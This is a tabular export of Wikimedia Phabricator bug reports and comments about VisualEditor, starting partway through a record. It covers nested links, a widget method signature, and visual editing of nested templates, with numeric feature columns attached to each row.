*** This bug has been marked as a duplicate of bug 48915 ***",,,1372270074,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-rl6rjnnqsrrmwprvwrmk,task_subcomment,,True,c1,2,True,,,-1,,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,0.0,9.0,9.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,0.0,6.0,9.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,3.2,0.7142857142857143,"I think this is a duplicate of 48915, which clearly we should fix right now.

*** This bug has been marked as a duplicate of bug 48915 ***"
52208,VisualEditor: Possible to have links nested inside links,"(Sorry for carelessly filing a dupe before (bug 50207) - I have checked this one, but if it is a dupe, you are most welcome to trout me for wasting your time!)

1. Edit [[testwiki:VisualEditor:Links]] in VE
2. Make a selection like

     Golden Gate National Recreation [Area is the] best

   (partly inside the link, partly outside it)
3. Click the ""Link"" toolbar button and make a link to any page
4. Click in the word ""Area"" to move the cursor there

Two link icons appear in the floating toolbar.

5. Save page > Review changes

Wikitext output has two links side-by-side, pointing to the same target.

--------------------------
**Version**: unspecified
**Severity**: normal",Medium,50.0,1372220460,1372260507.0,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,False,PHID-TASK-cypsptchtj5tr3ktdvxq,task_description,resolved,True,c1,2,False,False,True,-1,,0.5,0.0,0.0,0.0,0.0,3.0,1.5,0.0,0.0,0.5,1.5,0.0,0.0,1.0,0.5,1.0,0.0,2.5,7.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,4.0,0.5,1.0,0.0,1.0,0.5,0.0,0.5,0.5,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,13.5,0.0,0.5,0.0,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,1.5,12.0,0.5,1.0,7.0,0.0,0.0,0.5,0.0,4.5,0.5,3.0,0.0,3.0,7.5,5.5,0.0,2.5,0.0,3.0,0.0,0.0,2.0,0.5,2.0,0.0,1.0,5.0,3.4383053221288513,0.6800420168067227,"(Sorry for carelessly filing a dupe before (bug 50207) - I have checked this one, but if it is a dupe, you are most welcome to trout me for wasting your time!)

1. Edit [[testwiki:VisualEditor:Links]] in VE
2. Make a selection like

     Golden Gate National Recreation [Area is the] best

   (partly inside the link, partly outside it)
3. Click the ""Link"" toolbar button and make a link to any page
4. Click in the word ""Area"" to move the cursor there

Two link icons appear in the floating toolbar.

5. Save page > Review changes

Wikitext output has two links side-by-side, pointing to the same target.

--------------------------
**Version**: unspecified
**Severity**: normal"
250969,VisualEditor: Possible to have links nested inside links,Merged and we'll push this to production in the next hour or so.,,,1372260507,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-cypsptchtj5tr3ktdvxq,task_subcomment,,True,c1,2,True,,,-1,,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,7.0,0.0,7.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,13.0,13.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,13.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.466666666666667,1.0,Merged and we'll push this to production in the next hour or so.
250958,VisualEditor: Possible to have links nested inside links,Related URL: https://gerrit.wikimedia.org/r/70644 (Gerrit Change I1cab7f3cc4fc9589eced01ad38c59fe5b9622a57),,,1372260143,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-cypsptchtj5tr3ktdvxq,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,44.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change I1cab7f3cc4fc9589eced01ad38c59fe5b9622a57)
250949,VisualEditor: Possible to have links nested inside links,"(In reply to comment #0)
> (Sorry for carelessly filing a dupe before (bug 50207) - I have checked this
> one, but if it is a dupe, you are most welcome to trout me for wasting your
> time!)

Ha, no worries; dupe's aren't in any way useless (it reminds us that it's a real problem we need to fix really soon!). It's mostly just that it's a waste of your time. :-(

> 
> 1. Edit [[testwiki:VisualEditor:Links]] in VE
> 2. Make a selection like
> 
>      Golden Gate National Recreation [Area is the] best
> 
>    (partly inside the link, partly outside it)
> 3. Click the ""Link"" toolbar button and make a link to any page
> 4. Click in the word ""Area"" to move the cursor there
> 
> Two link icons appear in the floating toolbar.
> 
> 5. Save page > Review changes
> 
> Wikitext output has two links side-by-side, pointing to the same target.

Yeah, this is definitely a fail on our part (and a regression!). Thanks for the spot; assigning to Ed.",,,1372221303,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-cypsptchtj5tr3ktdvxq,task_subcomment,,True,c1,2,True,,,-1,,0.5,0.0,0.0,0.0,0.5,1.0,1.5,0.0,0.0,0.0,1.0,0.5,0.0,0.0,0.0,2.0,0.0,3.5,6.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,1.0,0.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,9.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,1.5,18.5,1.0,1.0,5.5,0.0,0.0,1.5,0.5,1.0,1.5,0.5,0.0,4.5,6.0,13.0,0.0,0.0,0.0,4.5,0.0,0.0,2.5,0.5,1.0,0.0,0.0,0.0,3.0084745762711864,0.6186440677966102,"(In reply to comment #0)
QUOTE
QUOTE
QUOTE

Ha, no worries; dupe's aren't in any way useless (it reminds us that it's a real problem we need to fix really soon!). It's mostly just that it's a waste of your time. :-(

QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Yeah, this is definitely a fail on our part (and a regression!). Thanks for the spot; assigning to Ed."
52197,VisualEditor: Make ve.ui.PopupWidget#display signature not insane,"3 parameters is the limit, 6 is crazy.

ve.ui.PopupWidget.prototype.display = function ( x, y, width, height, transition, embedded ) {

--------------------------
**Version**: unspecified
**Severity**: enhancement",Medium,50.0,1372192080,1412209365.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,,False,PHID-TASK-flrq364icuczabc3nb2z,task_description,resolved,True,c1,2,True,False,False,-1,,0.0,0.0,0.0,0.0,0.0,7.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,2.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,4.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.195652173913044,0.6521739130434783,"3 parameters is the limit, 6 is crazy.

ve.ui.PopupWidget.prototype.display = function ( x, y, width, height, transition, embedded ) {

--------------------------
**Version**: unspecified
**Severity**: enhancement"
250314,VisualEditor: Make ve.ui.PopupWidget#display signature not insane,"Looking pretty good. It's been separated and the method itself (OO.ui.PopupWidget#display) no longer exists.

https://github.com/wikimedia/oojs-ui/blob/e43584b420/src/widgets/PopupWidget.js",,,1412209365,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-flrq364icuczabc3nb2z,task_subcomment,,True,c1,3,True,,,65,,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,22.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,13.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,4.0,4.0,4.0,0.0,0.0,4.3478260869565215,0.9130434782608695,"Looking pretty good. It's been separated and the method itself (OO.ui.PopupWidget#display) no longer exists.

URL"
52182,"VisualEditor: Add support for making some templates directly ""visually editable"" in the DOM, as if they were tables (e.g. infoboxes)","screenshot of nested templates in VisualEditor

Templates are sometimes nested into one another. For example, https://en.wikipedia.org/wiki/Template:Chembox relies on sub-templates like https://en.wikipedia.org/wiki/Template:Chembox_Properties , which itself relies on other templates etc.

VisualEditor currently doesn't seem to handle these sub-templates. It shows a nice interface for the top-level template, then shows wikitext for the others (see screenshot).

--------------------------
**Version**: unspecified
**Severity**: enhancement

**Attached**: {F11704}",Medium,50.0,1372175760,,PHID-USER-z6nzrwuaij3spgyg23jt,False,,False,PHID-TASK-nctiyee24idgcp7llspj,task_description,open,True,c1,2,False,False,,-1,,0.0,0.0,0.0,1.0,1.0,4.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,4.0,10.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,2.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,11.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,2.0,10.0,4.0,0.0,0.0,0.0,2.0,0.0,1.0,1.0,1.0,0.0,0.0,0.0,2.0,4.202020202020202,0.6262626262626263,"screenshot of nested templates in VisualEditor

Templates are sometimes nested into one another. For example, URL relies on sub-templates like URL , which itself relies on other templates etc.

VisualEditor currently doesn't seem to handle these sub-templates. It shows a nice interface for the top-level template, then shows wikitext for the others (see screenshot).

--------------------------
**Version**: unspecified
**Severity**: enhancement

**Attached**: {F11704}"
1624617,"VisualEditor: Add support for making some templates directly ""visually editable"" in the DOM, as if they were tables (e.g. infoboxes)",https://meta.wikimedia.org/wiki/Community_Wishlist_Survey_2021/Editing/Automatic_visual_editing_of_spanned_templates,,,1606768378,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-nctiyee24idgcp7llspj,task_subcomment,,True,c1,3,True,,,387,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,URL
1198565,"VisualEditor: Add support for making some templates directly ""visually editable"" in the DOM, as if they were tables (e.g. infoboxes)","This could be particularly helpful for common inline templates, such as the {{lang}} templates.  When readers see this:

```
Alaska (/əˈlæskə/ (listen); Aleut: Alax̂sxax̂; Inupiaq: Alaskaq; Russian: Аляска, translit. Alyaska) is a U.S. state in the northwest extremity of North America. 
```

the wikitext is this:

```
'''Alaska''' ({{IPAc-en|audio=en-us-Alaska.ogg|ə|ˈ|l|æ|s|k|ə}}; {{lang-ale|Alax̂sxax̂}}; {{Lang-ik|Alaskaq}}; {{Lang-ru|Аляска|translit=Alyaska}}) is a [[U.S. state]] in the northwest extremity of [[North America]]. 
```

and the editor in the visual editor sees four templates.  It would be much nicer if you could just stick your cursor in the middle of ""Aleut: Alax̂sxax̂"" and change that without having to open any dialog boxes at all.",,,1545161536,,PHID-USER-uf3buojo4ceizjywvyn5,False,,,PHID-TASK-nctiyee24idgcp7llspj,task_subcomment,,True,c1,3,False,,,285,,4.0,0.0,0.0,0.0,0.0,8.0,3.0,0.0,0.0,1.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,11.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,0.0,3.0,3.0,1.0,0.0,3.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,3.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,5.0,3.0,8.0,3.0,3.0,10.0,0.0,0.0,0.0,0.0,6.0,0.0,1.0,0.0,4.0,11.0,3.0,0.0,3.0,0.0,4.0,0.0,1.0,0.0,0.0,1.0,1.0,0.0,0.0,3.8227848101265822,0.7341772151898734,"This could be particularly helpful for common inline templates, such as the {{lang}} templates.  When readers see this:

``CODE`CODE`CODE``

and the editor in the visual editor sees four templates.  It would be much nicer if you could just stick your cursor in the middle of ""Aleut: Alax̂sxax̂"" and change that without having to open any dialog boxes at all."
754131,"VisualEditor: Add support for making some templates directly ""visually editable"" in the DOM, as if they were tables (e.g. infoboxes)","Hey Riccardo, will try and find an answer for you.",,,1478109985,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-nctiyee24idgcp7llspj,task_subcomment,,True,c1,3,False,,,174,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,17.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,17.0,8.0,0.0,0.0,8.0,8.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,3.4166666666666665,1.0,"Hey Riccardo, will try and find an answer for you."
747843,"VisualEditor: Add support for making some templates directly ""visually editable"" in the DOM, as if they were tables (e.g. infoboxes)","Hello, Riccardo from WikiToLearn here.

We use a lot of templates in our books, and, especially for maths, we would love to have visual editing of templates. I have seen that in T53374 the type for coherent wikitext was added. We would love to implement a solution similar to what has been done for the ""Insert Media"" dialog where there is a lighter VisualEditor is present when the user edits the caption. Our desired behiavor is to have the same editor show up when the type associated with the parameter is of type `content`.

However, we would only do this if you think it is a good idea, and ideally will accept the patch, to avoid forking an extension as big as VisualEditor. Is it something that would be interesting?",,,1477067771,,PHID-USER-ijhuwuyd44xnfjon2ztf,False,,,PHID-TASK-nctiyee24idgcp7llspj,task_subcomment,,True,c1,3,False,,,172,,0.0,0.5,0.0,1.0,0.0,5.5,3.5,0.0,0.0,0.5,3.0,0.0,0.0,0.5,0.5,4.0,0.0,5.5,11.0,0.5,2.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,3.0,0.0,6.5,2.5,1.5,0.5,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,2.0,0.0,1.5,0.0,0.0,0.5,10.5,0.5,0.5,0.5,0.5,0.0,0.5,0.0,1.0,1.0,0.0,1.0,0.5,0.0,1.5,0.5,0.0,0.0,8.0,5.5,8.5,3.0,1.0,8.5,0.0,0.0,0.0,0.0,6.0,0.5,0.0,0.0,6.0,11.0,3.0,0.5,1.0,0.0,6.0,0.0,3.0,3.0,0.0,0.5,0.5,0.0,0.0,4.0,0.7432432432432432,"Hello, Riccardo from WikiToLearn here.

We use a lot of templates in our books, and, especially for maths, we would love to have visual editing of templates. I have seen that in T53374 the type for coherent wikitext was added. We would love to implement a solution similar to what has been done for the ""Insert Media"" dialog where there is a lighter VisualEditor is present when the user edits the caption. Our desired behiavor is to have the same editor show up when the type associated with the parameter is of type CODE.

However, we would only do this if you think it is a good idea, and ideally will accept the patch, to avoid forking an extension as big as VisualEditor. Is it something that would be interesting?"
249561,"VisualEditor: Add support for making some templates directly ""visually editable"" in the DOM, as if they were tables (e.g. infoboxes)",*** Bug 52786 has been marked as a duplicate of this bug. ***,,,1394074105,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-nctiyee24idgcp7llspj,task_subcomment,,True,c1,3,True,,,35,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 52786 has been marked as a duplicate of this bug. ***
249557,"VisualEditor: Add support for making some templates directly ""visually editable"" in the DOM, as if they were tables (e.g. infoboxes)","(In reply to comment #10)
> In reply to Gabriel Wicke, substing {{subst:div col}} would give <div
> class=""mw-columns-2""> .. </div>. This would work fine for all subsequent
> edits
> with VE, but not for editors using wikitext.

I don't see a big difference between a div start / end tag and {{div col}} / {{div col end}} template pairs. Both are disconnected and of roughly the same text length.",,,1374272400,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-nctiyee24idgcp7llspj,task_subcomment,,True,c1,3,True,,,2,,0.0,0.0,0.0,2.0,2.0,5.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,3.0,7.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,2.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,12.0,0.0,3.0,7.0,0.0,0.0,0.0,2.0,3.0,0.0,2.0,0.0,2.0,7.0,10.0,0.0,0.0,0.0,2.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.05,0.6666666666666666,"(In reply to comment #10)
QUOTE
QUOTE
QUOTE
QUOTE

I don't see a big difference between a div start / end tag and {{div col}} / {{div col end}} template pairs. Both are disconnected and of roughly the same text length."
249554,"VisualEditor: Add support for making some templates directly ""visually editable"" in the DOM, as if they were tables (e.g. infoboxes)","This has come up a few times at 
http://en.wikipedia.org/wiki/Wikipedia:VisualEditor/Feedback#a_sensible_way_to_edit_.7B.7Bdiv_col.7D.7D_sections
http://en.wikipedia.org/wiki/Wikipedia:VisualEditor/Feedback#Bulleted_lists

In reply to Gabriel Wicke, substing {{subst:div col}} would give <div class=""mw-columns-2""> .. </div>. This would work fine for all subsequent edits with VE, but not for editors using wikitext.

Ideally list in {{div col}} blocks would be edited in place. Just as if it was a normal list. 

I think this points to a wider question: that some templates are going to need special ways of editing them. You might be able to add a field to the template data, say, ""type"":""wikitext-block"" indicating its a block which should be edited in place. Some sort of extension mechanism could be used, say with an associated  lua module providing hints to VE on how to edit the data.",,,1374267053,,PHID-USER-7hrs7wwclcldf7mm6a7o,False,,,PHID-TASK-nctiyee24idgcp7llspj,task_subcomment,,True,c1,3,False,,,2,,2.0,0.0,0.0,1.5,0.5,4.5,1.0,0.0,0.0,0.5,2.5,0.0,0.0,0.0,0.0,0.5,0.5,2.5,12.5,0.0,2.0,0.5,0.0,0.0,0.5,0.0,0.0,0.0,1.0,1.5,1.0,2.5,1.0,1.0,3.0,0.5,0.0,0.0,0.5,0.0,0.0,0.5,0.0,1.0,0.0,0.5,0.0,0.0,0.5,15.0,1.0,0.5,0.0,0.5,0.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,4.5,3.5,7.5,1.5,0.5,8.5,0.0,0.0,0.0,0.0,5.5,0.0,1.0,0.0,3.0,12.5,5.5,0.0,1.5,0.0,3.0,0.0,1.0,3.5,0.5,3.0,0.5,0.0,2.0,3.522805507745267,0.7426133103843947,"This has come up a few times at 
URL
URL

In reply to Gabriel Wicke, substing {{subst:div col}} would give <div class=""mw-columns-2""> .. </div>. This would work fine for all subsequent edits with VE, but not for editors using wikitext.

Ideally list in {{div col}} blocks would be edited in place. Just as if it was a normal list. 

I think this points to a wider question: that some templates are going to need special ways of editing them. You might be able to add a field to the template data, say, ""type"":""wikitext-block"" indicating its a block which should be edited in place. Some sort of extension mechanism could be used, say with an associated  lua module providing hints to VE on how to edit the data."
249550,"VisualEditor: Add support for making some templates directly ""visually editable"" in the DOM, as if they were tables (e.g. infoboxes)",*** Bug 51485 has been marked as a duplicate of this bug. ***,,,1374014309,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-nctiyee24idgcp7llspj,task_subcomment,,True,c1,3,True,,,2,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 51485 has been marked as a duplicate of this bug. ***
249545,"VisualEditor: Add support for making some templates directly ""visually editable"" in the DOM, as if they were tables (e.g. infoboxes)","We also need to be able to add the template {{tl|multiple issues}} around existing tags: when editing [[Dadloi]] I wanted to add a second maintenance tag and then tidy them up into {{tl|mi}}, but of course had to do the latter in Edit Source after my VE edit.",,,1373440193,,PHID-USER-7zhn2ep5wvjhxetsbb6n,False,,,PHID-TASK-nctiyee24idgcp7llspj,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,16.0,0.0,6.0,0.0,0.0,0.0,3.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,3.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,10.0,2.0,3.0,5.0,0.0,0.0,0.0,0.0,8.0,0.0,2.0,0.0,6.0,16.0,5.0,0.0,0.0,0.0,6.0,0.0,2.0,2.0,2.0,3.0,0.0,0.0,6.0,3.365079365079365,0.7936507936507936,"We also need to be able to add the template {{tl|multiple issues}} around existing tags: when editing [[Dadloi]] I wanted to add a second maintenance tag and then tidy them up into {{tl|mi}}, but of course had to do the latter in Edit Source after my VE edit."
249538,"VisualEditor: Add support for making some templates directly ""visually editable"" in the DOM, as if they were tables (e.g. infoboxes)","**kwwilliams** wrote:

I'm seeing a few comments that imply that nested templates are somehow the result of a poorly thought out design: I take issue with that. Take {{BillboardURLbyName}}, for example: it's got a very simple job: give it the name of a musical artist, and it will return the URL to the Billboard page for that artist's charts or biography. Billboard loves to redesign its site periodically and builds the URL based on six digit numbers, so we really don't want URL hardcoding going on. 

It would be a very poor design if we required every template that could accept a URL to understand how to translate an artist name into a URL. It's much better to do it the way we do: pass {{BillboardURLbyName|artist name}} as an argument to templates that require URLs, and let each template do its own job.",,,1373054528,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-nctiyee24idgcp7llspj,task_subcomment,,True,c1,3,False,,,0,,2.0,0.0,1.0,0.0,0.5,3.0,1.0,0.0,0.0,0.5,0.5,1.0,0.0,0.0,0.0,2.5,0.5,5.0,10.0,0.0,2.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.5,1.0,0.5,6.0,2.5,4.5,1.0,0.0,0.0,0.0,0.5,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.5,0.0,17.0,1.0,0.5,0.0,0.5,0.0,0.5,0.0,0.0,1.0,0.0,1.5,0.5,0.0,1.0,0.0,1.5,1.0,8.0,1.0,8.0,2.0,2.0,10.0,0.0,0.0,0.0,0.0,7.0,0.0,0.5,0.0,7.0,10.0,2.0,0.0,0.0,0.0,7.0,0.0,2.0,5.0,0.0,1.0,0.5,0.0,0.0,3.8181818181818183,0.6931818181818181,"**kwwilliams** wrote:

I'm seeing a few comments that imply that nested templates are somehow the result of a poorly thought out design: I take issue with that. Take {{BillboardURLbyName}}, for example: it's got a very simple job: give it the name of a musical artist, and it will return the URL to the Billboard page for that artist's charts or biography. Billboard loves to redesign its site periodically and builds the URL based on six digit numbers, so we really don't want URL hardcoding going on. 

It would be a very poor design if we required every template that could accept a URL to understand how to translate an artist name into a URL. It's much better to do it the way we do: pass {{BillboardURLbyName|artist name}} as an argument to templates that require URLs, and let each template do its own job."
249530,"VisualEditor: Add support for making some templates directly ""visually editable"" in the DOM, as if they were tables (e.g. infoboxes)","Adding keywords to summary to make this searchable.

As noted in bug 50595, this bug prevents copy-pasting formatted text from the main document into a template.",,,1372789939,,PHID-USER-yek7ymogrv4qc67oilhf,False,,,PHID-TASK-nctiyee24idgcp7llspj,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,0.0,0.0,0.0,4.28125,0.875,"Adding keywords to summary to make this searchable.

As noted in bug 50595, this bug prevents copy-pasting formatted text from the main document into a template."
